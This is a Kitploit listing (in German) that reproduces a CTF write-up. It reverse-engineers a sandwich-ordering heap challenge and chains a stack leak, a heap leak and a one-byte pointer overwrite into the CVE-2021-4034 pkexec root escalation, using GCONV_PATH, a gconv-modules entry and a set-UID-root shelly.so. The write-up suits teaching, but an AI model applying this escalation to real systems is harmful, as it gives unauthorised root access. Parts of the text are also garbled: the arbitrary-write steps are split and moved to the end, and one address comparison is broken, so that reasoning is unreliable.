Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-4034-CTF-writeup — CTF pwn challenge writeup, der CVE-2021-4034 (pkexec) mittels Heap-Manipulation ausnutzt, mit Ghidra-basiertem Reverse Engineering und einer benutzerdefinierten shelly.so-Hilfsbinärdatei. | Kitploit
Tools/GitHubGitHub/wechicken456/cve-2021-4034-ctf-writeup
ExploitationReverse EngineeringCTFLernen & BildungBinary-ExploitationLabs & Praxis
GitHubwechicken456/cve-2021-4034-ctf-writeup

CVE-2021-4034-CTF-writeup

CTF pwn challenge writeup, der CVE-2021-4034 (pkexec) mittels Heap-Manipulation ausnutzt, mit Ghidra-basiertem Reverse Engineering und einer benutzerdefinierten shelly.so-Hilfsbinärdatei.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
2vor 2 JahrenNoch nicht geprüft

CVE-2021-4034-CTF-writeup

Dies ist eine CTF-Pwn-Challenge, die ich in C geschrieben habe und die vom Benutzer erfordert, die CVE-2021-4034-Schwachstelle auszunutzen. Die Spieler erhalten 2 Binärdateien im challenge-Verzeichnis in diesem Repository. Die chal-Binärdatei implementiert die CTF-Challenge und shelly.so ist eine Hilfsbinärdatei.

So emuliert man diese Challenge

Zum Zeitpunkt der Erstellung dieses Writeups ist das Dockerfile noch nicht vollständig. Das Dockerfile ist erforderlich, um diese Challenge während eines Live-CTFs bereitzustellen, aber nicht lokal: Sie können diese Challenge dennoch lokal emulieren, indem Sie die Benutzerberechtigungen einrichten und die anfälligen Pakete wie folgt installieren:

  1. Um diese Schwachstelle erfolgreich auszunutzen, sollten Spieler, die sich nicht auf einer Linux-Maschine befinden, zuerst eine Linux-VM installieren. Dann müssen Sie einen anfälligen Kernel installieren. Anleitung dazu: [https://askubuntu.com/a/700221]
  2. Installieren Sie die Pakete libpolkit-gobject-1-0=0.105-26ubuntu1 libpolkit-agent-1-0=0.105-26ubuntu1 policykit-1=0.105-26ubuntu1.
  3. Erstellen Sie eine flag.txt-Datei, die root:root gehört, im aktuellen Verzeichnis.
  4. Erstellen Sie einen unprivilegierten Benutzer. Wechseln Sie zu diesem Benutzer.
  5. Laden Sie die Dateien im challenge-Ordner in das aktuelle Verzeichnis herunter.
  6. Führen Sie chal als unprivilegierter Benutzer aus.

Blindanalyse

Das Ausführen der chal-Binärdatei gibt uns eine vage Vorstellung davon, was diese Binärdatei tut:``` WELCOME TO THE HUB CTRL+ALT+DELICIOUS We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every byte

  1. ENTER THE HUB
  2. QUIT 1 Order number: 0x7ffde93681f0 Enter your name: tin
  3. ADD NEW ORDER
  4. EDIT ORDER
  5. SHOW ORDER
  6. CANCEL ORDER
  7. CHECKOUT
  8. DONE 1 Pick your bread: aaaa Select your spread: bbbb Choose your veg: cccc Slam your meat & egg: dddc Any side notes for the cook? 0000
  9. ADD NEW ORDER
  10. EDIT ORDER
  11. SHOW ORDER
  12. CANCEL ORDER
  13. CHECKOUT
  14. DONE 1 Pick your bread: AAAA Select your spread: BBBB Choose your veg: CCCC Slam your meat & egg: DDDD Any side notes for the cook? 1111
  15. ADD NEW ORDER
  16. EDIT ORDER
  17. SHOW ORDER
  18. CANCEL ORDER
  19. CHECKOUT
  20. DONE 3 Enter order index: 0 aaaa, bbbb, cccc, dddc, 0000
  21. ADD NEW ORDER
  22. EDIT ORDER
  23. SHOW ORDER
  24. CANCEL ORDER
  25. CHECKOUT
  26. DONE 3 Enter order index: 1 AAAA, BBBB, CCCC, DDDD, 1111
  27. ADD NEW ORDER
  28. EDIT ORDER
  29. SHOW ORDER
  30. CANCEL ORDER
  31. CHECKOUT
  32. DONE 4 Enter order index: 1
  33. ADD NEW ORDER
  34. EDIT ORDER
  35. SHOW ORDER
  36. CANCEL ORDER
  37. CHECKOUT
  38. DONE 3 Enter order index: 1 Invalid index!
  39. ADD NEW ORDER
  40. EDIT ORDER
  41. SHOW ORDER
  42. CANCEL ORDER
  43. CHECKOUT
  44. DONE 5 /notes ./tin/notes
  45. ADD NEW ORDER
  46. EDIT ORDER
  47. SHOW ORDER
  48. CANCEL ORDER
  49. CHECKOUT
  50. DONE 6
  51. ENTER THE HUB
  52. QUIT 2 Come again :)
root@kitploit:~
Spielt man mit der Eingabegröße in der `Add`-Funktion und den Indizes der `Cancel`-Funktionen herum, erhält man nichts Besonderes (kein Überlauf oder Segmentierungsfehler). Dennoch ein paar interessante Dinge:
  - Es scheint, als ob die Bestellungen in einer Liste (vielleicht einer verketteten Liste) abgelegt werden und sie 0-indexiert sind?
  - Es gibt diese `Bestellnummer: 0x7ffde93681f0`, die offenbar eine Speicherstelle auf dem Stack ausgibt?
  - Außerdem erstellt das Programm ein Verzeichnis mit unserem Eingabenamen zusammen mit 3 ausführbaren Dateien, von denen eine die uns gegebene Hilfsbinärdatei ist:```sh
peasant@Tin-VM:~/Desktop$ ls
chal  chal.c  Dockerfile shelly.so  solve.py  tin
peasant@Tin-VM:~/Desktop$ ls -l tin/
total 28
-rwxrwx--- 1 peasant vboxsf     5 Feb  4 14:33 notes
-rwxrwx--- 1 peasant vboxsf    20 Feb  4 14:33 recipe
-rwxr-x--- 1 peasant vboxsf 16488 Feb  4 14:33 shelly.so
peasant@Tin-VM:~/Desktop$ cat tin/notes 
0000
peasant@Tin-VM:~/Desktop$ cat tin/recipe 
aaaa
bbbb
cccc
dddc

Die ausführbaren Dateien enthalten unsere Eingabe.


Ghidra-Analyse

Sie können mit den anderen Funktionen herumspielen und hoffen, auf einige Fehler zu stoßen (was wahrscheinlich ist), aber ich komme direkt zur Sache und öffne das Programm in Ghidra.

Beim Vergleichen der Zeichenfolgen, die während der Programmausführung erscheinen, und der Zeichenfolgen, die in Ghidra vorhanden sind, können wir einige der FUN_*-Funktionen in vertraute Namen umbenennen:```C undefined8 main(void)

{ int iVar1; size_t sVar2; undefined2 *puVar3; long in_FS_OFFSET; int opt; int local_1c; char *local_18; long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28); local_18 = "/recipe"; print("WELCOME TO THE HUB CTRL+ALT+DELICIOUS\n"); print( "We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every by te\n\n" ); while( true ) { print("1. ENTER THE HUB\n"); print("2. QUIT\n"); __isoc99_scanf(&DAT_001030c5,&opt); getc(stdin); if (opt != 1) break; printf("Order number: %p\n",&local_18); print("Enter your name: "); __isoc99_scanf(&DAT_0010334f,&DAT_00105120); sVar2 = strlen(&DAT_00105120); puVar3 = (undefined2 *)malloc(sVar2 + 2); DAT_00105100 = puVar3; *puVar3 = 0x2f2e; *(undefined *)(puVar3 + 1) = 0; strcpy((char *)(DAT_00105100 + 1),&DAT_00105120); iVar1 = FUN_001022f0(DAT_00105100,&DAT_00105060); if (iVar1 == -1) { mkdir((char *)DAT_00105100,0x1c0); } DAT_00105140 = 0; order_cnt = 0; for (local_1c = 0; local_1c < 10; local_1c = local_1c + 1) { *(undefined8 *)(&ptr_array + (long)local_1c * 8) = 0; } main_menu(); } print("Come again :)\n");

root@kitploit:~
Das `printf("Order number: %p\n",&local_18);` **gibt einen Speicherort einer lokalen Variable auf dem Stack aus.**

Eine schnelle Überprüfung in gdb zeigt uns, dass die geleakte Adresse die Adresse des Zeigers auf die konstante Zeichenkette `/recipe` ist:```gdb
...
Order number: 0x7fffffffdfc0
...
gef➤  x/gx 0x7fffffffdfc0
0x7fffffffdfc0:	0x0000555555559020
gef➤  x/s 0x0000555555559020
0x555555559020:	"/recipe"

Wir sehen einen mkdir-Aufruf, der ein Verzeichnis mit unserem eingegebenen Namen im aktuellen Verzeichnis erstellt.

Dies stimmt mit unserer Beobachtung überein, als wir das Programm ausgeführt haben. Dann initialisiert es einige Variablen, bevor es die Funktion main_menu aufruft, die etwa so aussieht:```C while( true ) { while( true ) { while( true ) { while( true ) { while( true ) { while( true ) { print("1. ADD NEW ORDER\n"); print("2. EDIT ORDER\n"); print("3. SHOW ORDER\n"); print("4. CANCEL ORDER\n"); print("5. CHECKOUT\n"); print("6. DONE\n"); __isoc99_scanf(&DAT_001030c5,&local_40); getc(stdin); if (local_40 != 1) break; add_order(); } if (local_40 != 2) break; edit_order(); } if (local_40 != 3) break; show_order(); } if (local_40 != 4) break; cancel_order(); } if (local_40 != 5) break; checkout(); } if (local_40 == 6) break; if (local_40 == 0x539) { print( "\nGORDON RAMSAY: Finally, a worthy opponent, our battle will be legendary! I BET YOU CAN 'T GUESS THE SECRET RECIPE.\n" ); fgets(inp,0x20,stdin); getrandom(random-bytes,0x10,0); for (local_3c = 0; local_3c < 0x10; local_3c = local_3c + 1) { if (inp[local_3c] != random-bytes[local_3c]) { print("...Nuh Uh!...\n"); /* WARNING: Subroutine does not return */ exit(0); } print("...Ooh Yes.. sCruMpTioUs..."); } print("Fine... I'll give you a taste.\n"); FUN_00101504(); }

root@kitploit:~
Falls du mit REV nicht vertraut bist: Dies ist die Dekompilierung für die `switch`-Anweisung in C. Es gibt eine interessante Option alias `0x539`. Sie erlaubt es den Spielern, `0x10` zufällige Bytes zu erraten. Wenn alle Bytes gleich sind, wird `FUN_00101504();` aufgerufen, das wiederum `system("cat flag.txt");` aufruft. Ansonsten beendet sich das Programm. Allerdings ist das Erraten von 16 zufälligen Bytes gleichbedeutend mit dem Durchspielen aller 256**16 = 340282366920938463463374607431768211456 Möglichkeiten. Viel Glück dabei lol. Selbst wenn man alle Möglichkeiten durchspielt, ist das Programm immer noch unprivilegiert, sodass es die Flagge nicht lesen kann. Diese `cat flag.txt`-Anweisung ist absichtlich eingebaut, nicht nur um unerfahrene Spieler dazu zu verleiten, diese `0x539`-Menüoption zu wählen, sondern auch um zu verhindern, dass die Spieler einfach diese Funktion aufrufen, um die Flagge zu lesen – worauf wir später noch eingehen werden.
***
## Hinzufügen```C
  int iVar1;
  undefined8 *puVar2;
  void *pvVar3;
  undefined8 *ptr2;
  
  if (order_cnt < 10) {
    puVar2 = (undefined8 *)malloc(0x30);
    print("Pick your bread: ");
    readline(puVar2 + 1,8);
    print("Select your spread: ");
    readline(puVar2 + 2,8);
    print("Choose your veg: ");
    readline(puVar2 + 3,8);
    print("Slam your meat & egg: ");
    readline(puVar2 + 4,9);
    iVar1 = order_cnt;
    pvVar3 = malloc(0x30);
    *(void **)(&ptr_array + (long)iVar1 * 8) = pvVar3;
    *puVar2 = *(undefined8 *)(&ptr_array + (long)order_cnt * 8);
    print("Any side notes for the cook? ");
    readline(*puVar2,0x30);
    puVar2[5] = 0;
    if (DAT_00105140 != (undefined8 *)0x0) {
      for (ptr2 = DAT_00105140; ptr2[5] != 0; ptr2 = (undefined8 *)ptr2[5]) {
      }
      ptr2[5] = puVar2;
      puVar2 = DAT_00105140;
    }
    DAT_00105140 = puVar2;
    order_cnt = order_cnt + 1;
  }
...

Wenn einige der Variablen für Sie nicht leicht lesbar aussehen, liegt es daran, dass ich mir die Zeit genommen habe, sie in diese umzubenennen, was Sie beim Reverse Engineering tun sollten, um den Überblick zu behalten. Also, kommen wir zu den Hauptpunkten:

  • puVar2 ist ein malloc-Chunk, der 0x30 groß ist.
  • Das 0-te Feld ist der puVar3-Zeiger, der 8 Byte lang ist und auf die notes des aktuellen Chunks zeigt.
  • Die nächsten 4 Felder sind jeweils 8 Byte lang, obwohl wir 9 Bytes in das 4. Feld lesen können, sodass wir 1 Byte in das 5. Feld überlaufen lassen können.
  • Allerdings überschreibt die Zeile puVar2[5] = 0; unseren 1-Byte-Überlauf trotzdem mit NULL.
  • Dann, wenn die globale Variable DAT_00105140 == 0 ist, setzen wir sie einfach auf den neuen Chunk, also könnte dies ein head-Zeiger für die Liste sein?
  • Andernfalls iterieren wir bis zum letzten Chunk in der aktuellen Liste und setzen dessen 5. Feld auf den neuen Chunk. => Das 5. Feld ist der Zeiger auf den nächsten Chunk in der verketteten Liste.

Edit```C

... print("Enter order index: "); __isoc99_scanf(&DAT_001030c5,&local_20); getc(stdin); if ((local_20 < 0) || (order_cnt <= local_20)) { print("Invalid index!\n"); } else { local_18 = head; for (local_1c = 0; local_1c != local_20; local_1c = local_1c + 1) { local_18 = (undefined8 *)local_18[5]; } print("Pick your bread: "); readline(local_18 + 1,8); print("Select your spread: "); readline(local_18 + 2,8); print("Choose your veg: "); readline(local_18 + 3,8);WE print("Slam your meat & egg: "); readline(local_18 + 4,9); print("Any side notes for the cook? "); readline(*local_18,0x30); } ...

root@kitploit:~
Es gibt eine Überprüfung unseres Eingabeindex, daher können wir nicht an beliebigen Stellen bearbeiten. 

**Allerdings ist der 9-Byte-Lesevorgang im 4. Feld, der 1 Byte in das 5. Feld überläuft, immer noch vorhanden!!! Wir können 1 Byte in den `nxt`-Zeiger überschreiben.**
***
## Anzeigen```C
...
    if (local_18 != (undefined8 *)0x0) {
      printf("%s, %s, %s, %s, %s\n",local_18 + 1,local_18 + 2,local_18 + 3,local_18 + 4,*local_18);
    }
...

%s wird bis zum NULL-Zeichen ausgeben, wenn also unser 4. Feld 8 Byte lang ist, dann gibt das 4. %s das 4. Feld unseres Chunks plus den Zeigerwert nxt im 5. Feld aus. => Wir bekommen einen heap leak!!!


Abbrechen

Hier gibt es nichts Interessantes.


Kasse```C

strcpy(local_d8,dir_name); sVar2 = strlen(dir_name); strcpy(local_d8 + sVar2,"/recipe"); creat(local_d8,0x1c0); iVar1 = open(local_d8,2); if (iVar1 == -1) { print("Error opening file f.\n"); /* WARNING: Subroutine does not return / exit(0); } chmod(local_d8,0x1f8); strcpy(local_98,dir_name); sVar2 = strlen(dir_name); strcpy(local_98 + sVar2,"/notes"); printf("%s %s\n","/notes",local_98); creat(local_98,0x1c0); __fd = open(local_98,2); if (__fd == -1) { print("Error opening file f_notes.\n"); / WARNING: Subroutine does not return */ exit(0); } chmod(local_98,0x1f8);

root@kitploit:~
Also erstellt es die Dateien `recipe` und `notes` im Verzeichnis mit unserem Eingabenamen. Die `chmod`-Anweisungen setzen diese Dateien in den ausführbaren Modus: `0x1f8` und `0x1c0` sind `0700` bzw. `0770` im Oktalsystem.```C
...
  for (local_ec = 0; (local_e0 != (char **)0x0 && (local_ec < order_cnt)); local_ec = local_ec + 1)
  {
    sVar2 = strlen((char *)(local_e0 + 1));
    write(iVar1,local_e0 + 1,sVar2);
    write(iVar1,&DAT_00103127,1);
    sVar2 = strlen((char *)(local_e0 + 2));
    write(iVar1,local_e0 + 2,sVar2);
    write(iVar1,&DAT_00103127,1);
    sVar2 = strlen((char *)(local_e0 + 3));
    write(iVar1,local_e0 + 3,sVar2);
    write(iVar1,&DAT_00103127,1);
    sVar2 = strlen((char *)(local_e0 + 1));
    write(iVar1,local_e0 + 4,sVar2);
    write(iVar1,&DAT_00103127,1);
    sVar2 = strlen(*local_e0);
    write(__fd,*local_e0,sVar2);
    write(__fd,&DAT_00103127,1);
    local_e0 = (char **)local_e0[5];
  }
  iVar1 = close(iVar1);
  if (-1 < iVar1) {
    iVar1 = close(__fd);
    if (-1 < iVar1) {
      local_58 = 0x2f706d742f207063;
      local_50 = 0x732e796c6c656873;
      local_48 = 0x206f;
      local_40 = 0;
      local_38 = 0;
      local_30 = 0;
      local_28 = 0;
      local_20 = 0;
      strcpy((char *)((long)&local_48 + 2),dir_name);
      system((char *)&local_58);
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
  }
...

Dieser riesige, unübersichtliche Codeblock schreibt im Wesentlichen den Inhalt unserer Chunks in diese Dateien und führt dann den Befehl cp /tmp/shelly.so dir_name aus, wobei dir_name der Name ist, den wir dem Programm am Anfang geben.


FUN_00101e84```C

void FUN_00101e84(void)

{ long in_FS_OFFSET; char *local_18; long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("HOLD UP, LET HIM COOK."); local_18 = (char *)0x0; execve("/usr/bin/pkexec",&local_18,(char **)&ptr_array); if (local_10 != *(long )(in_FS_OFFSET + 0x28)) { / WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }

root@kitploit:~
Dies ist eine interessante Funktion. Sie ruft `pkexec` mit einem `NULL argv` und dem `notes`-Array-Zeiger als Umgebungsvariablen auf, was der anfällige Befehl in unserer CVE-2021-4034 ist. Deutet dies darauf hin, dass wir unsere `notes` gestalten und die Ausführung irgendwie auf diese Funktion umleiten müssen?

***
## shelly.so
Wenn wir dies in Ghidra öffnen, erfahren wir, dass es sich offensichtlich um eine `set-UID-root`-Bibliothek handelt, ähnlich denen, die im CVE-Exploit verwendet wurden.

***
# Zusammenfassung
Einige wichtige Punkte:
1. Wir haben zu Beginn des Programms einen Stack-Leck (Ordnungsnummer), der die Adresse des konstanten Strings `/recipe` enthält, der beim Erstellen der Datei `recipe` verwendet wird.
2. Das 0. Feld eines Chunks ist sein `notes`-Zeiger.
3. Das 5. Feld eines Chunks ist der `nxt`-Zeiger auf den nächsten Chunk in der verketteten Liste.
4. `Show` kann eine Heap-Adresse leaken, die das 5. Feld in einem Chunk ist.
5. `Edit` kann 1 Byte in das 5. Feld überschreiben. **DAS IST DER EINZIGE ARBITRARY WRITE BUG!!**
6. `FUN_00101e84` ruft `pkexec` mit NULL argv und den Umgebungsvariablen, die wir kontrollieren (`notes`-Array), auf.

***

# Exploitation

## Heap-Chunk-Layout
Eine schnelle Überprüfung in gdb kann uns den Offset zwischen verschiedenen Chunks in unserem Programm mitteilen:```gdb
...
Pick your bread: aaaa
Select your spread: a
Choose your veg: a
Slam your meat & egg: a
Any side notes for the cook? 0000
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
1
Pick your bread: bbbb
Select your spread: b
Choose your veg: b
Slam your meat & egg: b
Any side notes for the cook? 1111
...
gef➤  search-pattern aaaa
[+] Searching 'aaaa' in memory
[+] In '[heap]'(0x55555555a000-0x55555557b000), permission=rw-
  0x55555555aae8 - 0x55555555aaec  →   "aaaa" 
gef➤  x/30gx 0x55555555aae8-0x18
0x55555555aad0:	0x0000000000000000	0x0000000000000041
0x55555555aae0:	0x000055555555ab20	0x0000000061616161
0x55555555aaf0:	0x0000000000000061	0x0000000000000061
0x55555555ab00:	0x0000000000000061	0x000055555555ab60
0x55555555ab10:	0x0000000000000000	0x0000000000000041
0x55555555ab20:	0x0000000030303030	0x0000000000000000
0x55555555ab30:	0x0000000000000000	0x0000000000000000
0x55555555ab40:	0x0000000000000000	0x0000000000000000
0x55555555ab50:	0x0000000000000000	0x0000000000000041
0x55555555ab60:	0x000055555555aba0	0x0000000062626262
0x55555555ab70:	0x0000000000000062	0x0000000000000062
0x55555555ab80:	0x0000000000000062	0x0000000000000000
0x55555555ab90:	0x0000000000000000	0x0000000000000041
0x55555555aba0:	0x0000000031313131	0x0000000000000000
0x55555555abb0:	0x0000000000000000	0x0000000000000000

Die Chunks haben also eine Größe von 0x40 (einschließlich 0x10 Bytes Metadaten) und sind (vom Beginn des aktuellen Chunks bis zum Beginn des nächsten Chunks) durch einen Offset von 0x40+0x40 = 0x80 getrennt. Dies liegt daran, dass die notes bei jeder Zuweisung eines Chunks allokiert werden und somit immer zwischen aufeinanderfolgenden Chunks liegen.

Schreiben an eine beliebige Adresse

Bevor wir zum Exploit springen, wie missbrauchen wir die 1-Byte-Überlauffehler, um an eine beliebige Adresse zu schreiben? Wir können die folgende Strategie anwenden:

  1. Allokiere 3 Chunks A, B, C.
  2. Leake den nxt-Zeiger des 2. Chunks (2. Punkt im Zusammenfassung-Abschnitt).
    • Die geleakte Adresse (welche der nächste Chunk ist) ist C.
    • Dann ist die Adresse des aktuellen Chunks B = C-0x80.
    • Sei das NIEDRIGSTWERTIGE Byte von B x.
  3. Überschreibe das 1 Byte x + 8 in das 5. Feld des aktuellen Chunks. Der resultierende nxt-Zeiger wird B + 8 sein.
    • Wir müssen hier vorsichtig sein: Unter Verwendung des Speicherausschnitts oben, wenn wir den aktuellen Chunk als den ersten bezeichnen, also A = 0x55555555aae0, dann wäre die geleakte Adresse B = 0x55555555ab60 und x = 0xe8.
    • Wenn wir das letzte Byte in das 5. Feld von A bei mit überschreiben, wird der resultierende -Zeiger `0x55555555e8 != 0x55555555e8 sein, was nicht das ist, was wir wollten.

1. Möglichkeit – Springen zu "cat flag.txt"

Es gibt eine Möglichkeit, zu dieser Funktion zu springen, die ich nicht diskutieren werde. Aber bevor du das versuchst, wirf einen Blick auf die Dockerfile. Fällt dir etwas an flag.txt auf?``` ... chown root:root /home/ctf/flag.txt ... USER peasant CMD ["/home/ctf/start.sh"]

root@kitploit:~
***ES GEHÖRT ROOT, WÄHREND DAS PROGRAMM VON EINEM UNPRIVILEGIERTEN BENUTZER AUSGEFÜHRT WIRD UND IHM GEHÖRT***.
Also selbst wenn du „cat flag.txt“ ausführst, wird es die Flagge nicht ausgeben, da das Programm keine Berechtigung hat, auf die Datei zuzugreifen. Das bedeutet, dass wir zu root eskalieren müssen, um die Flagge zu lesen.
## 2. Weg – CVE-2021-4034
Um CVE-2021-4034 auszunutzen, benötigen wir folgendes Setup:
1. Ein Verzeichnis mit dem Namen `GCONV_PATH=.`
2. In diesem Verzeichnis benötigen wir eine ausführbare Datei, die den Namen des Verzeichnisses trägt, in dem sich unsere `gconv-modules`-Konfigurationsdatei befinden wird. Nennen wir dies in unserer Challenge `recipe`.
3. Im Verzeichnis `recipe` benötigen wir eine Datei namens `gconv-modules` mit von uns kontrolliertem Inhalt und eine dynamische Bibliothek, die eine Shell startet (vielleicht ist dies die mitgelieferte Binärdatei `shelly.so`?).
4. Dann müssen wir in unserer `gconv-modules` den gleichen CHARSET wie in Schritt 5 unten und den Namen unserer dynamischen Bibliothek `shelly.so` angeben, wie folgt: `module UTF-8// SHELLY// shelly 2`.
5. Nach all dem rufen wir `pkexec` mit NULL argv und dem manipulierten Umgebungsvariablen-Array auf: `{"recipe", "PATH=GCONV_PATH=.", "CHARSET=SHELLY", "SHELL=shelly", NULL}`.

Nun nutzen wir diese Challenge aus, um das obige Setup zu erreichen.

***
### Ziel 1–2
Die Schritte 1–2 sind einfach: Wir müssen uns nur mit einem Benutzernamen `GCONV_PATH=.` anmelden, um dieses Verzeichnis zu erstellen. Dann führen wir ein `checkout` aus, um die ausführbare Datei `recipe` in diesem Verzeichnis zu erstellen. Dann kehren wir zum ersten Menü zurück.
***
### Ziel 3–4
Wir melden uns mit dem Benutzernamen `recipe` an, um dieses Verzeichnis zu erstellen. Jetzt *müssen* wir eine Datei namens `gconv-modules` erstellen, aber `checkout` erstellt nur die Dateien `recipe` und `notes`.

Was wäre, wenn wir den Speicherort für den String `/notes` überschreiben würden, um ihn zu `/gconv-modules` zu machen? Das könnte funktionieren, erfordert aber, dass dieser Speicher beschreibbar ist. Schauen wir es uns in gdb an:```gdb
gef➤  search-pattern /notes
[+] Searching '/notes' in memory
[+] In '/home/peasant/Desktop/chal'(0x555555559000-0x55555555a000), permission=rw-
  0x555555559010 - 0x555555559016  →   "/notes" 

Und sie ist beschreibbar!

Wie führen wir das Schreiben durch?

  1. Wir verwenden die oben beschriebene Strategie des beliebigen Schreibens, um beliebig die Position der geleakten Stack-Adresse zu lesen. Dies gibt uns, wo /recipe liegt.
  2. Eine kurze Inspektion in gdb kann uns sagen, dass der Offset von /recipe zu /notes 0x10 beträgt. Subtrahiere dies von der /recipe-Adresse aus Schritt 1, um die /notes-Adresse zu erhalten.
  3. Verwende die oben beschriebene Strategie des beliebigen Schreibens, um /notes mit /gconv-modules zu überschreiben.

Was das Schreiben des korrekten Inhalts in die Datei gconv-modules betrifft, wissen wir, dass beim checkout der notes-Inhalt der Chunks in /notes geschrieben wird, was jetzt /gconv-modules ist. Um sicherzugehen, können wir einfach den String module UTF-8// SHELLY// shelly 2 jedem notes geben.

Wenn wir also checkout aufrufen, werden 2 Dateien recipe und gconv-modules erstellt und einige Zeilen mit module UTF-8// SHELLY// shelly 2 (wir verwenden shelly, weil das der Name der bereitgestellten .so-Datei mit set-uid-root ist) in die Datei gconv-modules geschrieben. Außerdem wird eine shelly.so in dasselbe Verzeichnis kopiert.

Ziel 5

  1. Wir allozieren 4 Chunks, deren notes die entsprechenden Umgebungsvariablen sind. Das notes-Zeigerarray wird 4 Zeiger auf diese 4 notes und einen abschließenden NULL-Zeiger haben, was genau das ist, was wir wollten.
  2. Allozieren Sie zusätzliche Chunks und verwenden Sie dieselbe Strategie wie für Ziel 3-4, um den RIP für die main-Funktion mit unserer geheimen Funktion FUN_00101e84 zu überschreiben.
    • Woher wissen wir, wo der RIP ist? Erinnern Sie sich an unsere geleakte Stack-Adresse am Anfang des Programms? Gehen Sie in gdb, um deren Offset zum RIP zu ermitteln, und addieren Sie dann diesen Offset zur tatsächlichen geleakten Adresse, um den RIP zu erhalten.
    • Woher wissen wir, wo main ist? Erinnern Sie sich an unsere geleakte Adresse von /recipe aus Schritt 2 von Ziel 3-4? Machen Sie hier dasselbe!
  3. Viel Spaß mit Ihrer Shell :)

Ein Lösungs-Skript mit Kommentaren ist in diesem Repository bereitgestellt. Bei Fragen können Sie mich gerne kontaktieren :)

Tool herunterladen
0x55555555ab08
x
nxt
ab
aa
  • Daher müssen wir einen aktuellen Chunk und den nächsten Chunk so wählen, dass ihr 2. NIEDRIGSTWERTIGES Byte identisch ist.
  • Jetzt ist der 3. Chunk also bei B + 8 anstelle von C. Bearbeite Chunk B, sodass sein erstes (bread) Feld die target-Adresse enthält, in die wir schreiben möchten.
  • Bearbeite den 3. Chunk, was den Inhalt ab B + 8 überschreibt. Der notes-Zeiger dieses 3. Chunks ist das target! Also wird alles, was wir in notes schreiben, in target geschrieben!